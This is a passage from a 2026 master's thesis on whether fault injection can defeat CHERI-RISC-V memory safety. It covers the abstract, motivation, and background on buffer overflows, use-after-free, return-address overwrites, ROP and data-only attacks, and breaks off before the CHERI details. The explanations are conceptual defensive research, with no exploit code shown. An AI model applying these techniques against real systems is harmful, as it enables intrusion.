betaFeedback

WorksComputer Science

CHERI under Fault Injection: An Emulation-Based Security Evaluation of Capability Hardware Enhanced RISC Instructions

Abstract

Memory-safety vulnerabilities continue to dominate real-world exploit chains despite decades of research into software mitigations. CHERI is a hardware architecture that enforces spatial and temporal memory safety by augmenting pointers with hardware-checked metadata, thus preventing software-based exploitation, but its threat model explicitly excludes fault injection. This thesis investigates whether targeted fault injection can undermine CHERI's memory-safety guarantees in a pure-capability CHERI-RISC-V environment. Two fault classes are considered: bit flips corrupting capability metadata, and fault-induced check skipping on capability store instructions. We implement fault injection primitives in a QEMU-based emulation environment, which enables deterministic, repeatable experiments without specialised hardware. With them, we demonstrate four attack scenarios: buffer overflows, control-flow hijacking, data-only attacks, and use-after-free. Each succeeds with one or two targeted faults (lower bounds under the emulation-based setting). Check skipping offers an alternative route to control-flow hijacking and data-only attacks, with a minimum of one fault. These results show that CHERI's guarantees depend on the physical integrity of capability metadata, the uninterrupted execution of metadata checks, and the integrity of the revocation bitmap: a single targeted fault can circumvent spatial safety, temporal safety, or control-flow integrity. CHERI still raises the cost of exploitation, since fault injection is a prerequisite for every attack and the sentry mechanism forces an attacker to supply a valid tagged capability or spend a second fault restoring the tag. Based on these findings, we propose mitigations: ECC-protected capability memory, capability field authentication codes, redundant execution of security-critical checks, and revocation bitmap integrity verification.

Degree Project in Memory Safety

Second cycle, 30 credits

CHERI under Fault Injection

Eva Sophia Schreyer

An Emulation-Based Security Evaluation of Capability Hardware Enhanced RISC Instructions

Supervisors: Merve Gülmez, Sönke Jendral, Thomas Nyman

Examiner: Elena Dubrova

Host company: Ericsson

Swedish title: CHERI under fysiska felinjektionsattacker

Swedish subtitle: En emuleringsbaserad säkerhetsutvärdering av RISC-instruktioner med utökade funktioner

© 2026 Eva Sophia Schreyer

Keywords

keywords: Hardware security; Memory Safety; CHERI architecture; Fault injection; Architecture vulnerability testing

Acknowledgments

I would like to extend my sincerest thanks to the people who supported me over the last few months.

First, to my Ericsson supervisor Merve Gülmez, for giving me the opportunity to work on this topic at Ericsson and for her continued support and patience throughout the project. To Sönke Jendral, my KTH supervisor, for always being available to answer my questions and for his guidance on both the thesis and the administrative side. To Thomas Nyman at Ericsson, for helping me explore possible directions, identifying additional aspects worth investigating, and for taking the time to explain the underlying ideas. And to Elena Dubrova, my KTH examiner, for giving me the freedom to choose my own research direction.

July 2026

Eva Sophia Schreyer

Listings

2.1 RISC-V assembly prologue 15

2.2 RISC-V assembly epilogue 15

4.1 Tag-flip implementation 45

4.2 Bounds-flip implementation helper 46

4.3 Bounds-flip implementation 47

4.4 Check skip implementation for capabilities 49

4.5 Tag-flip testing output 50

4.6 Capability injection implementation with tag flip 51

4.7 Capability injection output without tag flip 52

4.8 Capability injection output with tag flip 52

4.9 Bounds-flip testing output 52

4.10 Buffer overflow implementation with bounds extension 53

4.11 Changes to ProFTP Data Oriented Programming (DOP)-attack files 54

4.12 Buffer overflow output without bounds extension 55

4.13 Buffer overflow output with bounds extension 55

4.14 Buffer overflow output of ProFTPD CVE-2006-5815 without bounds extension 56

4.15 Buffer overflow output of ProFTPD CVE-2006-5815 with bounds extension 56

4.16 Control-flow hijacking (CFH) implementation hidden function 59

4.17 CFH Method 1 implementation helper 59

4.18 CFH Method 1 implementation 60

4.19 CFH Method 1 output 61

4.20 CFH Method 2 implementation 64

4.21 CFH Method 2 output 65

4.22 CFH libc implementation excerpt assembly 66

4.23 CFH libc output 67

4.24 CFH Method 2 with check skipping instead of bounds extension 68

4.25 CFH with check skipping doubleword granularity 68

4.26 CFH with check skipping byte granularity

4.27 CFH with check skipping minimal stack frame

4.28 Data-only attack implementation

4.29 Data-only attack output

4.30 Use-after-free (UAF) implementation objects

4.31 UAF implementation

4.32 UAF output without clearing shadow bitmap

4.33 UAF output with clearing shadow bitmap

5.1 Capability harvesting llvm-readelf output

5.2 Capability harvesting llvm-readelf output link-time address of main

5.3 Capability harvesting GDB run-time address of main

A.1 Emulating Faults Affecting CHERI byte stores

B.1 CFH libc implementation using assembly encoding of "/bin/sh"

List of acronyms and abbreviations

ABI — Application Binary Interface

ASLR — Address Space Layout Randomization

BSS — Block Started by Symbol

CFH — Control-flow hijacking

CFI — Control-flow integrity

CHERI — Capability Hardware Enhanced RISC Instructions

CPU — Central Processing Unit

DOP — Data Oriented Programming

ECC — Error-Correcting Code

ELF — Executable and Linkable Format

EM — Electromagnetic

FIB — Focused Ion Beam

GOT — Global Offset Table

IoT — Internet of Things

IPC — Inter-Process Communication

ISA — Instruction-Set Architecture

JOP — Jump-Oriented Programming

MAC — Message Authentication Code

MRS — Malloc Revocation Shim

MSB — Most Significant Bit

OS — Operating System

PCC — Program Counter Capability

PLT — Program Linkage Table

QEMU — Quick Emulator

RISC — Reduced Instruction Set Computer

ROP — Return-Oriented Programming

SDG — Sustainable Development Goal

UAF — Use-after-free

UN — United Nations

List of acronyms and abbreviations

Introduction

Memory-safety vulnerabilities have affected software systems for decades, yet they remain among the most exploited classes of security flaws in modern computing [1, 2, 3]. Despite decades of research into software mitigations such as Address Space Layout Randomization (ASLR), stack canaries, and Control-flow integrity (CFI), memory-corruption bugs continue to dominate real-world exploit chains [3, 2]. Languages like C and C++, which enable direct, unchecked pointer manipulation, form the basis for large parts of critical infrastructure, operating systems, and embedded systems [4]. Since these languages provide few built-in guarantees against memory misuse, ensuring memory safety is largely left to programmers. As a result, memory-safety errors remain common and continue to provide attackers with opportunities for exploitation.

The practical impact of memory-corruption vulnerabilities extends well beyond theoretical concern. Notable historical incidents include the Morris Worm (1988), one of the first widely recognised exploits of a buffer overflow [5], and the Heartbleed vulnerability (2014), which exposed sensitive memory contents in a widely deployed cryptographic library [6]. While targeted efforts to adopt memory-safe languages have yielded measurable progress in some contexts — Android, for instance, saw the share of memory-safety vulnerabilities fall from 76% to 24% over six years [7] — the broader picture remains concerning. Google has estimated that approximately 75% of vulnerabilities exploited in zero-day attacks industry-wide are memory-safety related [3], suggesting that progress in isolated codebases has not resolved the systemic risk.

A range of software-based defences has been developed in response. Memory-safe languages such as Rust provide built-in protections against entire classes of memory-safety vulnerabilities [8], but rewriting large existing systems and legacy codebases is often impractical. Compile-time and runtime mitigations, such as stack canaries, shadow stacks, and CFI, offer valuable but narrowly scoped protection, targeting specific attack vectors or memory regions rather than providing comprehensive guarantees [9]. These limitations have motivated research into hardware-architectural approaches that aim to provide stronger and more general memory-safety enforcement without requiring a complete rewrite of existing software.

Capability Hardware Enhanced RISC Instructions (CHERI) is one such architectural approach. It extends the conventional representation of memory references, i.e., pointers, with hardware-enforced capabilities that carry bounds and permissions that are checked on every memory access (see § 6.2) [10]. Demonstrators and prototypes show that, under its intended threat model, CHERI can prevent many classic memory-safety exploits by making pointers unforgeable and confining their authority to well-defined regions [10]. However, comparatively less is known about CHERI’s robustness under fault injection.

Bit flips can be induced deliberately through various fault injection techniques (see § 6.8). They can also arise unintentionally from cosmic-ray-induced soft errors [11], though this thesis focuses on the deliberate case. In either case, the architectural effect is the same: a stored bit changes value without any software operation having written to it, meaning that metadata the hardware trusts as authoritative may silently become incorrect. Beyond bit flips, this study also considers check skipping. In CHERI, capability operations such as stores include instructions that check metadata validity, including bounds, permissions, and the tag bit. Check skipping, as modelled in this thesis, means that these check instructions are skipped so that the store executes without the metadata and tag validation ever taking place. While primarily associated with deliberate fault injection, such skipping can in principle also arise from unintentional power-supply instability or clock irregularities.

The practical relevance of bit flips extends beyond deliberate attacks. In a 2024 report, a Mozilla engineer noted that out of approximately 470,000 crash reports received in a single week, roughly 25,000, about one in twenty, were flagged as potentially caused by memory bit flips, with the true number likely being at least twice as high due to conservative detection heuristics [12]. This underscores that even unintentional single-bit faults are a significant real-world phenomenon.

Problem Statement

This thesis investigates whether physical faults can undermine the memory-safety guarantees that CHERI aims to provide: bit flips that corrupt capability metadata, and fault-induced check skipping that bypasses metadata enforcement. The target architecture is Reduced Instruction Set Computer (RISC)-V, and the focus is on pure-capability CHERI as realised in the CHERI-RISC-V Instruction-Set Architecture (ISA), a deployment model in which all pointers are represented as capabilities with no legacy non-capability pointers present.

This work models two fault classes. Bit flips in memory, which are persistent faults: the corrupted value remains until overwritten or the system is reset. Check skipping, which is a transient fault: affecting only the single instruction execution in which it occurs. Neither class involves permanent hardware damage. See § 6.8 for definitions. We study whether such faults, when they affect capability fields or instructions, can enable outcomes that CHERI would otherwise prevent, such as out-of-bounds accesses and control-flow hijacking via corrupted return addresses or function pointers.

The problem statement of this thesis falls outside the typical threat model for CHERI-based systems. The Arm Morello Programme explicitly scopes its architectural security goals to a software adversary [13]. Similarly, CHERI ISA Version 9 specifically mentions that physical attacks are excluded from their threat model [14]. Fault injection therefore represents an out-of-scope threat with respect to the guarantees that CHERI is designed and documented to provide. Nevertheless, it is a credible real-world threat for devices deployed in environments where physical access cannot be excluded, such as embedded systems, Internet of Things (IoT) nodes, and automotive hardware, and may also be exploitable remotely through software-induced fault mechanisms such as Rowhammer or CLKscrew (see § 6.8). We hypothesise that CHERI should, intuitively, provide some degree of improved resistance to fault injection compared to an unprotected baseline architecture, since corrupting a tagged capability requires overcoming additional hardware-enforced invariants that a conventional pointer does not carry. However, to the best of our knowledge, no prior work has attempted to experimentally quantify that degree of resistance.

We conduct our study in Quick Emulator (QEMU) [15], using a CHERI-enabled RISC-V target [16]. This makes the experiments repeatable and does not require access to specialised hardware. Realising fault injection against CHERI on physical hardware, for example, on the Arm Morello platform, is outside the scope of this thesis. The emulator-based evaluation is nonetheless sufficient to quantify the degree to which CHERI’s own architectural mechanisms provide resistance to fault injection, independently of any additional hardware- or software-level mitigations that a physical implementation might supply. By instrumenting the emulator to inject deterministic bit flips at chosen points, we can experimentally evaluate which faults are necessary and sufficient to circumvent CHERI’s security mechanisms.

Research Question

The main research question for this study is: to what extent is the CHERI architecture robust against fault injection attacks (e.g., voltage glitches, clock manipulation, and electromagnetic interference), and what potential fault injection vulnerabilities could compromise CHERI’s memory safety guarantees?

Corresponding sub-questions are therefore:

RQ1: Can faults that corrupt capability metadata, or induce the skipping of metadata enforcement checks, enable out-of-bounds accesses, control-flow hijacking, data-only attacks, or use-after-free vulnerabilities in a pure-capability CHERI-RISC-V environment?

RQ2: What practical limits and constraints arise for such attacks, and what mitigation directions follow from the observations?

RQ3: To what degree does CHERI raise the cost of exploitation compared to an unprotected baseline under a fault injection threat model?

Benefits and Purpose

This research provides an empirical assessment of how robust pure-capability CHERI remains when transient or persistent faults affect a CHERI-RISC-V system emulated in QEMU. The primary benefit is a clearer understanding of whether such faults can weaken capability enforcement enough to enable buffer overflows, control-flow hijacking or use-after-free, and what the practical limits of such attacks are in the chosen experimental setting. Based on the observed behaviour, the thesis derives potential mitigation directions to improve robustness against this fault model.

The findings of this thesis are relevant to two primary audiences, which are also the stakeholders. System architects and platform designers evaluating CHERI-based designs gain insight into the fault-resilience of capability enforcement and the risks posed by metadata corruption. Security researchers, in turn, gain a reference point for how architectural memory-safety defences interact with physical fault models, and guidance on where to focus future testing efforts.

Several ethical and social considerations are relevant to this work. Research that characterises conditions under which a security mechanism can fail carries an inherent dual-use risk: the same findings that motivate defensive mitigations can inform attacks. However, the experimental evaluation in this thesis is conducted entirely through simulation and synthetic test cases, with no exploitation of vulnerabilities in production systems or deployed hardware. As such, the work does not produce practical attack primitives that would require responsible disclosure.

With respect to sustainability and long-term resilience, architectural approaches such as CHERI offer a path toward raising the baseline security of existing systems without requiring a complete rewrite of large legacy codebases. This is relevant to sustainability in the broad sense: rather than discarding and replacing mature, widely deployed software, CHERI can be incrementally adopted to provide hardware-enforced memory-safety guarantees. By examining the conditions under which such guarantees hold and where they may be weakened by physical faults, this thesis contributes to a more complete understanding of the long-term reliability and trustworthiness of CHERI as a security foundation.

Goals and Contributions

The objectives of this degree project are to:

G1: Design and simulate controlled bit flip experiments targeting capability metadata in a QEMU-based CHERI-RISC-V environment.

G2: Identify and characterise the vulnerabilities and attack techniques enabled by fault injection attacks, with a focus on control-flow hijacking and data-only attacks arising from stack-based buffer overflows and use-after-free vulnerabilities.

G3: Evaluate the impact of identified vulnerabilities on CHERI’s memory safety guarantees. G4: Provide insights and recommendations to improve the robustness of future CHERI implementations.

Research Methodology

This thesis employs two complementary research methodologies: a literature review and an experimental evaluation.

The literature review establishes the conceptual foundation for the experimental work. We survey memory-safety vulnerabilities, the CHERI architecture and its capability enforcement mechanisms, and fault injection techniques with a focus on bit-flip and check-skip fault models. This background informs both the selection of attack scenarios and the interpretation of experimental results.

The experimental evaluation is the primary research contribution and proceeds in three phases. First, the emulation environment is configured and baseline CHERI enforcement is verified. Second, the QEMU emulator and compiler toolchain are extended with fault injection primitives — a tag-flip primitive, a bounds-flip primitive, and check-skip primitives — designed to model the bit-flip and check-skip fault models discussed in the literature review. Third, four attack scenarios are implemented and evaluated: buffer overflows, control-flow hijacking, data-only attacks, and use-after-free. For each scenario, we record whether the attack succeeded, how many faults were required, and which CHERI protection mechanism was affected.

Delimitations and Scope

Experiments are conducted in a pure-capability CHERI-RISC-V environment emulated by QEMU, enabling deterministic, repeatable injection of specific faults at chosen points in execution. The study focuses primarily on spatial safety; temporal-safety behavior is evaluated in the context of capability revocation (Cornucopia [17]) where applicable.

This study abstracts away the specific characteristics of the underlying hardware platform by which bit flips may be intentionally or unintentionally induced, in favour of experimentally modelling the effects of bit flips in QEMU. The hardware characteristics behind bit flips are discussed in § 6.8.2, and the modifications made to QEMU to simulate them are described in § 8.1. This study also does not provide formal verification of CHERI. Consequently, it empirically explores whether and how single- and few-bit flips in capability metadata can lead to capability misuse and to the specific exploitation goals considered in this thesis.

Several topics fall outside the scope of this study. This work does not consider: (i) permanent hardware modifications, supply-chain attacks, or ROM/bootloader tampering; (ii) purely software-based attacks that do not involve fault-induced bit flips; (iii) side-channel exfiltration or fault effects that rely on analogue behaviour not reflected in the architectural model, beyond what is captured by targeted bit flips; (iv) the compartmentalisation features of CHERI, which could provide additional isolation even in the event of a successful control-flow hijack; or (v) exploitation of lazy binding mechanisms.

The attacker model and specific threat assumptions are defined in § 7.2.

Structure of the Thesis

Chapter 2 provides the literature review and background necessary to follow the experimental work. It covers the memory-safety fundamentals and vulnerability classes examined in this thesis, the CHERI architecture including its capability enforcement mechanisms and the RISC-V calling conventions relevant to the attack implementations, Fault injection with a focus on bit-flip and check-skip fault models, and the QEMU emulation platform used throughout the experiments. Chapter 3 describes the research methodology, including the attacker assumptions and threat model. It details the emulator environment and its configuration, the process by which experiments were designed and executed, and the evaluation criteria used to assess whether an attack succeeded. Chapter 4 presents the implementation and results of both the fault injection primitives and the individual attack scenarios. It explains how the QEMU emulator and the Clang/LLVM compiler toolchain were extended to support targeted bit flips and check skips, describes how each attack was constructed using these primitives, and reports the outcome of each scenario, including whether the attack succeeded, the number of faults required, and the observable effect on CHERI’s enforcement behaviour. Chapter 5 analyses the results in depth. It discusses the effectiveness of fault injection against each CHERI protection mechanism, the practical prerequisites for each attack, the probability of naturally occurring bit flips, and the open questions that remain. Chapter 6 proposes mitigations for the demonstrated attacks. Chapter 7 concludes the thesis with a summary of findings, a reflection on the research questions, and directions for future work.

Background

This chapter explains the background on memory safety, including some common vulnerabilities, CHERI and fault injection attacks.

Memory Safety Fundamentals

Memory safety is a software property that ensures all memory accesses are within authorised bounds and refer to valid, live, allocated objects [18]. Violations typically fall into three broad categories [18, 5].

Spatial memory safety prevents out-of-bounds accesses, i.e., prevents a pointer from being used to access memory outside the bounds of its allocated object [19]. Violations occur when a pointer accesses adjacent, unrelated, or protected memory regions.

Temporal memory safety prevents accessing memory outside its valid lifetime, i.e., deallocated object [18]. Using a pointer after its target memory has been freed (use-after-free), or freeing the same memory twice (double-free) both constitute violations of temporal safety.

Initialization safety prevents accessing uninitialised memory, i.e., declared but not assigned memory [20]. Reading uninitialised memory constitutes a violation of initialisation safety.

This section first describes how program memory is commonly organised, then details representative spatial and temporal vulnerabilities central to this thesis: buffer overflows and use-after-free conditions. It then explains control-flow hijacking as an exploitation outcome that can arise from either category. Finally, it surveys existing mitigations and their limitations, motivating the introduction of CHERI in the following chapter.

Memory Layout

The following describes the general layout of process virtual memory relevant to the exploitation techniques discussed in the following sections. At this level of abstraction the shown layout is consistent across Linux and most Unix-derived systems [5, 21, 22], including the CheriBSD used in the experimental evaluation in Chapter 4.

A typical process address space is divided into several regions, as seen in Figure 2.1. From high to low virtual addresses these are [5, 23]: ① Stack, which holds function call frames (i.e., local variables, saved registers, and return addresses) and grows downward; ② Heap, a dynamically managed region used for allocations (malloc/free), which grows upward [21]; ③ Block Started by Symbol (BSS) segment, which holds uninitialised (zero-initialised at load time) global and static variables; ④ Data segment, which holds initialised global and static variables; and ⑤ Text segment, which holds the executable machine code and is read-only at run-time.

Figure 2.1. Process Memory Layout typical for most Unix systems, including the one used in this study [21, 22].

Each time a function is called, a dedicated region of the stack called a stack frame ⑥ is allocated for it [5, 22]. For example, if function X calls function Y, each receives its own frame; since the stack grows downward in memory, Y’s frame is placed at a lower address than X’s.

Within a single frame, local variables are placed at progressively lower addresses as they are declared. Additionally, the RISC-V hardware architecture, which is used in the experimental evaluation in Chapter § 8, uses little-endian byte order [24] when storing the content of a multi-byte value. This means that the least significant bit is stored at the lowest address, and the most significant bit is stored at the highest address within that value’s allocation [22]. This mechanic is important for understanding stack-based buffer overflow exploits.

The saved return address and saved registers 1 are written into the stack frame during the function’s opening phase, called the prologue. This includes registers such as the frame pointer, though its use is architecture-dependent. As a result, these values occupy higher stack addresses than the local variables 2, which are allocated afterward at lower addresses.

The experimental evaluation in this thesis targets the RISC-V architecture, which defines a set of general-purpose registers with roles specified by the RISC-V Application Binary Interface (ABI) [25]. Two registers are of particular relevance to the exploitation techniques discussed in the following sections. The return address register (ra or x1) stores the address of the instruction immediately following the call site. The stack pointer (sp or x2) points to the top of the current stack frame. These registers are referred to directly in § 6.1.4.1 and are analogously described for CHERI in § 6.6.2.

Spatial Violation: Buffer Overflows

A buffer overflow occurs when a program writes more data to a buffer than it was allocated to hold, causing excess data to overwrite adjacent memory locations [23, 22]. This constitutes a violation of spatial memory safety, since the write operation exceeds the authorised bounds of the allocated object.

Buffer overflows can occur in several memory regions, including stack memory [23], heap memory [26], and global/static memory [26].

Buffer overflows can have several serious consequences [23, 26]: 1) adjacent variables may be corrupted, altering the behaviour of the program in unintended ways; 2) saved return addresses or function pointers can be overwritten, enabling an attacker to hijack control flow; 3) in heap-based overflows, allocator metadata may be corrupted, potentially allowing arbitrary writes to memory. In all cases the program is likely to crash due to access violations or otherwise inconsistent internal state.

Figure 2.2 illustrates that the buffer resides within the local variables section of the stack frame, occupying lower addresses than the saved registers and any local variables that were declared before it, provided the compiler did not optimize those values into registers or relocate them elsewhere in memory. As a consequence, when the buffer is vulnerable to an overflow, writing beyond its bounds progresses toward higher addresses, potentially overwriting any values stored there, including other local variables and the saved return address.

Figure 2.2. Writing "hijack!" into a buffer on stack.

Temporal Violations: Use-After-Free

Use-after-free (UAF) vulnerabilities occur when a program continues to dereference a pointer after the memory it references has been freed and potentially reallocated for a different, attacker-controlled purpose [27, 28]. This violates temporal memory safety because the object’s valid lifetime has ended, yet the program continues to interact with it through a now-stale (dangling) pointer [27].

A typical UAF scenario proceeds as follows [28]. First, an object is allocated. Second, the object is freed and a copy of the pointer is retained, called dangling pointer. Third, the allocator serves a new allocation request by reusing the same memory region, placing different, potentially attacker-controlled, data there. Finally, the program dereferences the dangling pointer, reading or writing content at that address.

Common consequences are data corruption or information disclosure, arising from reading stale memory that now belongs to a different object, and control-flow hijacking, achieved by overwriting function pointers or virtual dispatch table (vtable) pointers in the reallocated region and subsequently causing a call through the dangling pointer.

Other temporal vulnerabilities include double-free (freeing the same pointer twice) and use-before-initialisation (reading a variable before any value has been written to it) [27].

Control-Flow Hijacking

Control-flow hijacking (CFH) refers to a class of attacks in which an adversary subverts a program’s execution flow, redirecting it from its intended sequence of instructions to malicious or unintended code paths [9].

This can be achieved through several mechanisms, the most relevant to this thesis being return-address overwrite and UAF-based hijacking. Return-address overwrite [5] involves a stack-based buffer overflow that overwrites the saved return address, redirecting execution to an arbitrary location upon function return. UAF-based hijacking [27] occurs when a freed object is reallocated under attacker control and control-flow-relevant fields are overwritten before the dangling pointer is used for an indirect call [29].

Of these, only stack-based buffer overflows are used in the demonstrative CFH examples in this thesis; use-after-free is examined for its properties and implications but not exploited for hijacking.

Possible consequences of CFH include execution of injected malicious code [30] or the execution of existing functions or code fragments in an unintended order, which forms the basis of Return-Oriented Programming (ROP) [30]. Both consequences can enable privilege escalation and arbitrary code execution, leading to full compromise of program logic [29].

Control-flow Hijacking via Stack Buffer Overflow

This section explains control-flow hijacking via a stack-based buffer overflow, a technique used in the experimental evaluation in § 8.2.4. The description targets the RISC-V architecture, because the experiments are conducted on CHERI-RISC-V.

When a function is invoked in RISC-V, a control-flow instruction such as jal (jump-and-link) or jalr (jump-and-link register) transfers execution to the target function while storing the return address in the ra register [24]. Notably, RISC-V does not provide dedicated push and pop instructions; instead, callee-saved values such as ra are saved to and restored from the stack using explicit store (sd) and load (ld) instructions combined with adjustments of the stack pointer [31], as illustrated in Listings 2.1 and 2.2. Consequently, the saved ra occupies a compiler-determined offset within the stack frame. To redirect control flow, an attacker must therefore overwrite precisely that memory location with the desired target address, rather than pushing a sequence of addresses onto the stack.

When a non-leaf function is called, i.e., a function that calls other functions, the return address (the address to which execution should return after the function completes) must be saved to the stack [5, 24, 31]. A function that does not call other functions is instead a leaf function: the value in ra will not be overwritten during its execution and therefore does not need to be saved to memory [31]. For non-leaf functions, at the start of the function prologue, the compiler emits instructions to decrement the stack pointer (sp) to allocate the frame (see Listing 2.1 line 1) and then store ra at a fixed positive offset from sp within that frame (see Listing 2.1 line 2) [31].

If a buffer allocated within that frame can be overflowed, for example because the program calls strcpy (string copy) or gets without bounds checking, an attacker can supply enough data to fill the buffer and continue writing into adjacent higher-address memory, eventually reaching and overwriting the saved ra value with an address of their choosing (e.g., the address of a hidden function, a ROP gadget, or injected shellcode) [29].

Upon function return, the processor’s epilogue (shown in Listing 2.2) restores ra and other saved registers from the stack back into the corresponding register and executes a ret instruction, which in RISC-V is a pseudoinstruction for jalr x0, ra, 0, jumping unconditionally to the address in ra, i.e., the attacker’s chosen target [31].

Listing 2.1: RISC-V compiled function prologue and buffer allocation.

1  addi    sp,sp,-64  # decrement stack pointer
2  sd      ra,56(sp)  # store return address
3  sd      s0,48(sp)  # store other register
4  [...]
5  lui     a0,0x10    # allocate local variable: buffer
6  addi    a0,a0,1524
7

Listing 2.2: RISC-V compiled function epilogue.

1  ld      ra,56(sp)  # restore return address
2  ld      s0,48(sp)  # restore other registers
3  [...]
4  addi    sp,sp,64   # restore stack pointer
5  ret
6

Figure 2.3 illustrates how an attacker can overflow a buffer, overwriting adjacent stack data with arbitrary bytes (e.g., ’a’), until the saved return address is reached and replaced with an attacker-controlled value.

Figure 2.3. Overwriting return address saved on stack through buffer overflow vulnerability.

Code Reuse Attacks

Control-flow hijacking enables an attacker to redirect a program’s execution to an arbitrary target. This target is often injected shellcode, i.e., malicious instructions written directly into memory by the attacker [30, 32]. To counter this, modern systems employ defences such as marking regions that are writeable, e.g., the stack and heap, as non-executable, preventing directly injected code from running [30, 32].

When code injection is prevented, an attacker must instead reuse code that already exists in the program’s address space. In a code-reuse attack, the adversary repurposes existing instruction sequences, using them out of their original context to achieve a malicious goal [32, 33]. These sequences are called gadgets and are chained together so that their combined effect fulfils the attacker’s objective [33].

Several variants of code-reuse attacks exist; the most prominent are [33]:

  • ROP: Gadgets end with a return instruction (e.g., ret) [32, 34]. The attacker controls the stack to determine which address is loaded into the return register at each step, thereby chaining gadgets in sequence. On fixed-length instruction set architectures, such as RISC-V, gadgets are

mostly drawn from function epilogues, which restore the return address from the stack before returning. On variable-length architectures such as x86, however, ret bytes may appear at arbitrary offsets within existing instructions when reinterpreted from an unintended starting address, substantially increasing the pool of available gadgets [30].

  • Jump-Oriented Programming (JOP): Gadgets end with an indirect jump instruction (e.g., jalr) [33]. This variant does not rely on return instructions and therefore does not require the same manipulation of the stack-based return address, making it applicable in contexts where ROP gadgets are scarce [34].

A historically significant special case of ROP is return-to-libc, in which the attacker redirects control-flow directly to an existing library function, specifically libc which is present in nearly every Unix program, such as system(), passing attacker-controlled arguments [30]. This technique predates the generalized ROP formulation and can be understood as a single-gadget ROP chain targeting a complete function [30, 35].

Data-Only Attacks

Data-only attacks share similarities with control-flow hijacking [27]. However, they differ in a fundamental way: rather than targeting control-flow information such as return addresses or function pointers, they aim to corrupt non-control data, that is, program variables and data structures that influence program behaviour without affecting the instruction stream directly [27, 36]. Because no code pointers are corrupted, data-only attacks do not violate CFI, rendering CFH defences ineffective against them [37, 27].

The CFH ROP equivalent for data-only attacks is referred to as Data Oriented Programming (DOP). It is a type of data-only attack technique that achieves arbitrary code execution using data-only primitives.

Possible consequences include information disclosure such as password leaks or the exposure of private keys [36], privilege escalation, performance degradation, the bypassing of security mitigation mechanisms and arbitrary-code execution through DOP [37].

In Figure 2.4, UserAuthenticated represents a variable that controls whether the user has already passed an authentication check. For example, whether the user should be prompted to authenticate using a password, or whether that decision has already been made. Assuming the buffer is vulnerable to an overflow, and resides at a lower address than UserAuthenticated on the stack (i.e., UserAuthenticated was declared before the buffer), an attacker exploiting a buffer overflow can overwrite it without redirecting control flow. By corrupting this value, the attacker bypasses the authentication step entirely.

Figure 2.4. Data-only attack example with UserAuthenticated variable, possibly controlling security relevant data, being overwritten to true.

Why These Vulnerabilities Persist

Many high-level languages, such as Java, Python, and Go, enforce memory safety through run-time bounds checks, garbage collection, and the absence of raw pointer arithmetic [8]. In contrast, languages like C and C++ deliberately prioritise high-performance and low-level hardware control, exposing direct pointer manipulation without automatic bounds or lifetime checking, making them vulnerable to memory safety violations [1, 38].

Consequences of memory safety violations range from program crashes and data corruption to information leakage and remote code execution. A spatial violation may overwrite security-critical variables, enabling privilege escalation; a temporal violation may allow an attacker to reclaim freed memory that contains sensitive pointers, function pointers, or vtable entries.

The scale of the problem in production software is well-documented. According Microsoft’s vulnerability analysis from 2019, approximately 70% of CVEs in their products over the preceding decade were attributable to memory-safety issues [1]. Additionally, a more recent analysis from Google from 2024, estimates that 75% of vulnerabilities exploited in zero-day attacks are memory-safety vulnerabilities [3]. These statistics underscore both the persistence and the severity of memory-safety failures in large, real-world codebases.

Existing Mitigations

Rather than surveying all known mitigations, this section examines three well-known approaches — Rust, stack canaries, and shadow stacks — that illustrate both the progress made and the limitations that remain.

Rust

Rust is a systems programming language designed from the ground up to eliminate memory-safety vulnerabilities [39]. It enforces memory safety through an ownership and borrowing system, which allows the compiler’s borrow checker to statically enforce that references do not outlive the data they point to and that mutable references are exclusive, eliminating temporal violations such as use-after-free and double-free without run-time overhead [40, 38]. Spatial safety is enforced through run-time bounds checks on slice and array indexing, which incur overhead but prevent buffer overflows without requiring a garbage collector [38]. Together, these mechanisms eliminate the vast majority of spatial and temporal memory-safety violations at either compile time or with bounded run-time cost.

However, Rust’s unsafe subset permits raw pointer arithmetic and other low-level operations, similar to those available in C or C++, which can reintroduce spatial and temporal memory-safety bugs if used incorrectly [41]. Furthermore, rewriting large, mature codebases entirely in Rust is economically and practically costly, making it an incomplete short-term solution for legacy systems.

Stack Canaries

Stack canaries, originally introduced by StackGuard [42] and now supported by all major C and C++ compilers, are secret guard values placed between local variables and the saved return address within a stack frame at function entry. Before the function returns, the compiler-inserted epilogue checks whether the canary value has been modified; if so, it terminates the program rather than returning to a potentially corrupted address [29].

Stack canaries are effective against simple stack-based overflows but have several limitations. They do not protect heap allocations, global memory, or function pointers stored elsewhere. If the canary value is leaked to the attacker, for example via an information-disclosure vulnerability or a format string read, it can be reproduced in the overflow payload, bypassing the check entirely [43]. Furthermore, they do not prevent overwrites that do not reach the canary.

Shadow Stack

A shadow stack maintains a protected, separate copy of return addresses alongside the main stack [44]. On function entry, the return address is written both to the normal stack and to the shadow stack. On return, the value on the normal stack is compared to the shadow copy; a mismatch triggers a fault.

This provides strong protection against return-address tampering that bypasses stack canaries, with some exceptions [43]. However, a shadow stack does not protect frame pointers, data variables, heap objects, vtable pointers, or indirect function pointers, as it is a return-address integrity mechanism that does not address temporal safety violations or non-control-data attacks.

Relevance to Fault Injection Resistance

Both stack canaries and shadow stacks share a structural property relevant to fault injection resistance: they each maintain a redundant reference value at a memory location detached from the data being protected. Stack canaries place a randomly chosen guard value on the stack and store the reference copy at a separate location, so that an overflow corrupting the on-stack canary does not also corrupt the value it is checked against. On the other hand, shadow stacks store a redundant copy of the return address independently of the normal stack. This separation means that a single-bit flip affecting the protected value does not simultaneously corrupt the reference, allowing the mismatch to be detected. These mitigations therefore serve as examples of prior schemes that provide a degree of robustness against single-bit faults in registers or memory, even if this was not their original design intent.

Each of the mitigations discussed (Rust, stack canaries, and shadow stacks) nonetheless addresses only a specific subset of memory-safety violations, and none provides comprehensive, low-overhead protection across all memory regions and violation classes without significant constraints on deployment or codebase migration. The following chapter introduces CHERI, a hardware-software approach that enforces spatial and temporal memory-safety properties at the architectural level, offering a path toward more comprehensive protection for existing and new C/C++ codebases.

CHERI Architecture

CHERI is an architectural extension to conventional ISAs, originally developed at the University of Cambridge and SRI International [45]. Its primary goal is to enforce fine-grained, hardware-assisted memory safety while remaining compatible with existing C/C++ codebases and Operating System (OS) designs. For this, CHERI augments an existing ISA with hardware-enforced pointers, called capabilities, which carry metadata validated by hardware on every memory access.

On 64-bit platforms, capabilities are 128-bit wide — twice the size of a conventional 64-bit pointer — and on 32-bit platforms they are 64-bit wide [10]3. This doubling is necessary to accommodate the additional metadata fields described below.

Capability Metadata

